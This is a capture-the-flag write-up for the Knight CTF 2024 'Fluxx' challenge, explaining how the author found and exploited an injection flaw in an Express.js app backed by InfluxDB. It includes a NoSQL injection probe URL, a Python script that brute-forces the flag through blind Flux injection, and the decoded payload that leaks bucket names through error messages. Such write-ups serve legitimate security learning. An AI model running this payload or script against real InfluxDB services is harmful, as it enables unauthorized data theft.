InfluxDB with NoSQL blind SQL injection - Fluxx web CTF challenge writeup - Knight CTF 2024

Published on 2024-01-23 00:00:00 +0000 | Last modified on 2024-01-23 | Written by Colleirose

This is the challenge:

Challenge named "Fluxx" with description "Recently I have made a simple app for monitoring and analyzing metrics, events, and real-time data. I used a database which is designed for handling high volumes of timestamped data. But I think its vulnerable find it and get the flag"

Based on the X-Powered-By header being Express on all pages and receiving a Cannot GET /(requested url) on non-existent URLs (e.g. 66.228.53.87:9001/a), I can infer this is a Express.js server.

Response headers showing X-Powered-By: Express

One of our team member finds book.hacktricks.xyz/pentesting-web/nosql-injection, and using that cheatsheeet (which I recommend using because it is very useful), finds that visiting http://66.228.53.87:9001/query?data='%20||%201==1//%20%20%20%20or%20%20%20%20'%20||%201==1%00%20%20%20%20%20or%20%20%20%20admin'%20||%20'a'=='a creates an error saying Expected RPAREN, got EOF

I search this error online and learn that it’s an error related to InfluxDB, which I haven’t heard of until this challenge.
DuckDuckGo search results for the error

This also matches up with the challenge name and description:

Challenge named "Fluxx" with description "Recently I have made a simple app for monitoring and analyzing metrics, events, and real-time data. I used a database which is designed for handling high volumes of timestamped data. But I think its vulnerable find it and get the flag"

Searching about SQL injection in InfluxDB, I find rafa.hashnode.dev/influxdb-nosql-injection.

After facing some errors, I go back to the article I was copying this code off of and fix my code.

But this is very inefficient to do manually. I find a script on book.hacktricks.xyz/pentesting-web/nosql-injection#blind-nosql that can automate this. It requires a bit of changes, but here’s the working script, based on the Hacktricks resource:

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
    print("[i] Looking for char number "+str(i+1))
    for char in alphabet:
        r = requests.get("http://66.228.53.87:9001/query?data=%22)%20%7c%3e%20yield(name%3a%20%221337%22)%20%0d%0abuckets()%20%7c%3e%20filter(fn%3a%20(r)%20%3d%3e%20r.name%20%3d~%20%2f%5e" +flag+char+".*%2f%20and%20die(msg%3ar.name))%20%0d%0a%2f%2f")
        if (r.text != "[]"):
            flag += char
            print("[+] Flag: "+flag)
            break

The script then crashes with some error about the connection being aborted but tells me the correct string starts with K

Console output

So I went back to Burp Suite and tried it again with the K

Burp Suite output showing the flag as KCTF{gOUPqVWa0eUT2wF2ipzX3v5pxikvqYhxR9oL}

The flag is KCTF{gOUPqVWa0eUT2wF2ipzX3v5pxikvqYhxR9oL} according to the output of this web request. This flag is correct when submitted:

Challenge showing "Correct" message after submitting flag

This is the SQL injection payload with the URI parameters decoded. I don’t fully understand what it does because I’ve never used NoSQL or InfluxDB before.

") |> yield(name: "1337") 
buckets() |> filter(fn: (r) => r.name =~ /^K.*/ and die(msg:r.name)) 
//

I don’t know what the first line does, but the second line calls buckets() to list buckets and filters for buckets with a name that matches the regular expression /^K.*/. If it finds one, it dies with the bucket’s name (in the output we got in Burp Suite, I’m not sure if some kind of syntax error or die() is what caused the error that included the flag, but it doesn’t really matter). The third line is a comment.

In retrospect, maybe /^.*/ would’ve worked fine as the regular expression.